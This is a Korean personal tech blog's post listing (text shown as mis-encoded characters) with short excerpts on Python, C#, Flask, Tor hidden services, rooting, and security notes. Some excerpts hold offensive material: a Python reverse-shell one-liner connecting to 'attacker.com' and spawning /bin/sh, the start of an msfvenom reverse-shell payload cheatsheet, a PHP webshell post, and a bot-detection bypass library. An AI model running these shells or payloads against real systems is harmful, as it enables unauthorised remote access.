๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
  • Tried. Failed. Logged.
728x90

์ „์ฒด ๊ธ€720

ํŒŒ์ด์ฌ - ํ—ˆ์šฉ๋œ ๋ฌธ์ž, ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฌธ์ž๋“ค์ธ์ง€ ๊ฒ€์ฆํ•˜๊ธฐ (re) ์˜๋ฌธ, ์ˆซ์ž, ํŠน์ˆ˜ ๋ฌธ์ž๋“ค๋กœ ๊ตฌ์„ฑ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ์ธ์ง€ ํ™•์ธํ•˜๊ธฐ import re password = raw_input("Enter string to test: ") if re.fullmatch(r'[A-Za-z0-9!@#$%^&+=]{8,}', password): # match else: # no match ์ถœ์ฒ˜: https://stackoverflow.com/questions/2990654/how-to-test-a-regex-password-in-python How to test a regex password in Python? Using a regex in Python, how can I verify that a user's password is: At least 8 characters Must be re.. 2023. 2. 3.
Flask - ํŒŒ์ด์ฌ flask ๊ฐ„๋‹จํ•œ ์บก์ฑ  ์˜ˆ์ œ(flask-simple-captcha) ๋ชจ๋“ˆ ์„ค์น˜ pip install flask-simple-captcha simple_captcha_example.py from flask import Flask, render_template, request from flask_simple_captcha import CAPTCHA config = { 'SECRET_CAPTCHA_KEY': '1111111111111111111111111', 'METHOD': 'pbkdf2:sha256:100', 'CAPTCHA_LENGTH': 5, 'CAPTCHA_DIGITS': False } @app.route('/example', methods=['GET','POST']) def example(): if request.method == 'GET': captcha = CA.. 2023. 2. 2.
์›น ๋ณด์•ˆ - PHP ๊ฐ„๋‹จํ•œ ์›น์‰˜(easy-simple-php-webshell.php) "> ์ถœ์ฒ˜: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 easy-simple-php-webshell.phpGitHub Gist: instantly share code, notes, and snippets.gist.github.com 2023. 2. 2.
๋‹คํฌ๋„ท - Tor๋กœ ๋‹คํฌ์›น ์„œ๋ฒ„ ํ˜ธ์ŠคํŒ…ํ•˜๊ธฐ tor ์„ค์น˜ apt-get update apt-get install tor /etc/tor/torrc ํŒŒ์ผ ์ˆ˜์ • sudo vim /etc/tor/torrc ############### This section is just for location-hidden services ### ## Once you have configured a hidden service, you can look at the ## contents of the file ".../hidden_service/hostname" for the address ## to tell people. ## ## HiddenServicePort x y:z says to redirect requests on port x to the ## address y:.. 2023. 2. 2.
C# - ์„ค์ • ๊ฐ’ ๋ฐฐ์—ด(array) ํ˜•ํƒœ๋กœ ์ €์žฅํ•˜๊ณ  ๋ถˆ๋Ÿฌ์˜ค๊ธฐ ์ €์žฅํ•˜๊ธฐ string value = String.Join(",", intArray.Select(i => i.ToString()).ToArray()); Properties.Settings.Default.option_array = value; Properties.Settings.Default.Save(); ๋ถˆ๋Ÿฌ์˜ค๊ธฐ int[] arr = Properties.Settings.Default.option_array.Split(',').Select(s => Int32.Parse(s)).ToArray(); ์ถœ์ฒ˜: https://stackoverflow.com/questions/1766610/how-to-store-int-array-in-application-settings How to store int[] array .. 2023. 2. 1.
C# - dataGridView1 ์…€ ๊ฐ’ ์ˆ˜์ •ํ•˜๊ธฐ dataGridView1[1,1].Value="tes"; ์ถœ์ฒ˜: https://stackoverflow.com/questions/1516252/how-to-programmatically-set-cell-value-in-datagridview How to programmatically set cell value in DataGridView? I have a DataGridView. Some of the cells receive their data from a serial port: I want to shove the data into the cell, and have it update the underlying bound object. I'm trying something like th... stackov.. 2023. 2. 1.
์…€๋ ˆ๋‹ˆ์›€ - ํŒŒ์ด์ฌ ๋ด‡ ๊ฐ์ง€ ์šฐํšŒ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(undetected-chromdriver) pypi https://pypi.org/project/undetected-chromedriver/ undetected-chromedriver ('Selenium.webdriver.Chrome replacement with compatiblity for Brave, and other Chromium based browsers.', 'Not triggered by CloudFlare/Imperva/hCaptcha and such.', 'NOTE: results may vary due to many factors. No guarantees are given, except for ongoing eff pypi.org ์„ค์น˜ pip install undetected-chromedriver ์‚ฌ์šฉ ์˜ˆ์‹œ import u.. 2023. 1. 29.
๋ฆฌ๋ˆ…์Šค - ์นผ๋ฆฌ ๋ฆฌ๋ˆ…์Šค ๋ฐ์Šคํฌํƒ‘ ํ™˜๊ฒฝ ์ „ํ™˜(Switching Desktop Environments) https://www.kali.org/docs/general-use/switching-desktop-environments/ Switching Desktop Environments | Kali Linux Documentation During install a user may select whichever desktop environment that they prefer. However, when using the official VM this is not a possibility. In these cases, and many others, a user may wish to change their desktop environment. To get started we will fir www.kali.org .. 2023. 1. 27.
๋ชจ๋ฐ”์ผ ๋ณด์•ˆ - ์Šค๋งˆํŠธํฐ ๋ฃจํŒ… ๋ฃจํŒ…์— ํ•„์š”ํ•œ ๋„๊ตฌ์™€ ํŒŒ์ผ๋“ค ๋‹ค์šด๋กœ๋“œ https://autoroot.chainfire.eu/ CF-Auto-Root autoroot.chainfire.eu ๋ฃจํŒ… ๋ฐฉ๋ฒ• https://liz09045.tistory.com/128 ์•ˆ๋“œ๋กœ์ด๋“œ ๋ฃจํŒ… ๋ฐฉ๋ฒ•(Galaxy A8/SM-A880S) [ํ•ธ๋“œํฐ ์„ค์ •] ์•ˆ๋“œ๋กœ์ด๋“œ ํฐ์—์„œ [์„ค์ •] -> [ํœด๋Œ€์ „ํ™” ์ •๋ณด] -> [์†Œํ”„ํŠธ์›จ์–ด์ •๋ณด] ์— ๋“ค์–ด๊ฐ€ [๋นŒ๋“œ๋ฒˆํ˜ธ]๋ฅผ 7๋ฒˆ ์ •๋„ ์—ฐ์†์œผ๋กœ ๋ˆŒ๋Ÿฌ์ค€ ๋’ค, ๋‹ค์‹œ [์„ค์ •]์œผ๋กœ ๊ฐ€๋ฉด ๋งจ ์•„๋ž˜์— [๊ฐœ๋ฐœ์ž ๋ชจ๋“œ]๊ฐ€ ์ผœ์ง„๋‹ค. liz09045.tistory.com 2023. 1. 26.
์‹œ์Šคํ…œ ๋ณด์•ˆ - ํŒŒ์ด์ฌ ๋ฆฌ๋ฒ„์Šค ์‰˜ ์Šคํฌ๋ฆฝํŠธ export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' ๋Œ€๋ถ€๋ถ„์˜ ์œ ๋‹‰์Šค ๊ณ„์—ด์˜ OS(๋ฆฌ๋ˆ…์Šค, ๋งฅos)์—๋Š” python2๋Š” ์„ค์น˜๊ฐ€ ๋˜์–ด์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์œผ๋‹ˆ ๋ณ„๋„์˜ ์„ค์น˜ ์—†์ด ๋ช…๋ น์–ด๋งŒ์œผ๋กœ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค. ์ถœ์ฒ˜: https://gtfobins.github.io/gtfobins/python/#reverse-shell python | GTFOBins Run socat file:`tt.. 2023. 1. 25.
์‹œ์Šคํ…œ ๋ณด์•ˆ - ๋ฉ”ํƒ€์Šคํ”Œ๋กœ์ž‡ msfvenom ๋ฆฌ๋ฒ„์Šค ์‰˜ ์ œ์ž‘ ๋ช…๋ น์–ด ์ถœ์ฒ˜: https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/ MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter) Encrypt and Anonymize Your Internet Connection for as Little as $3/mo with PIA VPN. Learn More There are tons of cheatsheets out there, but I couldn’t find a comprehensive one that includes n… infinitelogins.com ์œˆ๋„์šฐ msfvenom -p windows/meterp.. 2023. 1. 24.
๋ฆฌ๋ˆ…์Šค - ssh ํ‚ค ํŒŒ์ผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด ์ ‘์†ํ•˜๊ธฐ(ssh-keygen) 1. ์šฐ์„  ํด๋ผ์ด์–ธํŠธ ์ธก์ด ์•„๋ž˜์˜ ๋ช…๋ น์–ด๋กœ ํ‚ค ์Œ(๊ฐœ์ธํ‚ค, ๊ณต์šฉํ‚ค)์„ ์ƒ์„ฑ์‹œํ‚จ๋‹ค. RSA ํ˜•์‹(type)์œผ๋กœ ํ‚ค ์Œ์„ ์ƒ์„ฑ ํ•˜๋Š” ๋ช…๋ น์–ด ssh-keygen -t rsa ์ƒ์„ฑํ•ด์ฃผ๊ฒŒ ๋˜๋ฉด ~/.ssh ํด๋”์— id_rsa, id_rsa.pub์ด ์ƒ์„ฑ์ด ๋˜๊ณ  ๊ฐ๊ฐ ๊ฐœ์ธํ‚ค, ๊ณต์šฉํ‚ค์ด๋‹ค. (* ๊ฐœ์ธํ‚ค๋Š” ์ ˆ๋Œ€ ์œ ์ถœ x) ~/.ssh/ โ”œโ”€ id_rsa โ”œโ”€ id_rsa.pub 2. id_rsa.pub(๊ณต์šฉํ‚ค)์˜ ๋‚ด์šฉ์„ ์„œ๋ฒ„ ์ธก์˜ ~/.ssh/authorized_keys ํŒŒ์ผ์—๋‹ค ์ ์–ด์ค€๋‹ค. vim ~/.ssh/authorized_keys 3. ํด๋ผ์ด์–ธํŠธ(์ ‘์†์ž)๋Š” ~/.ssh/ ๊ฒฝ๋กœ์—๋‹ค id_rsa๋ฅผ ๋„ฃ๋˜๊ฐ€ ๋ช…๋ น์–ด(with -i ์˜ต์…˜)๋ฅผ ํ†ตํ•ด์„œ ์„œ๋ฒ„์—๊ฒŒ ์ ‘์† ssh -i id_rsa ์‚ฌ์šฉ์ž_์•„์ด๋””@์„œ๋ฒ„_์•„์ดํ”ผ or ~.. 2023. 1. 23.
728x90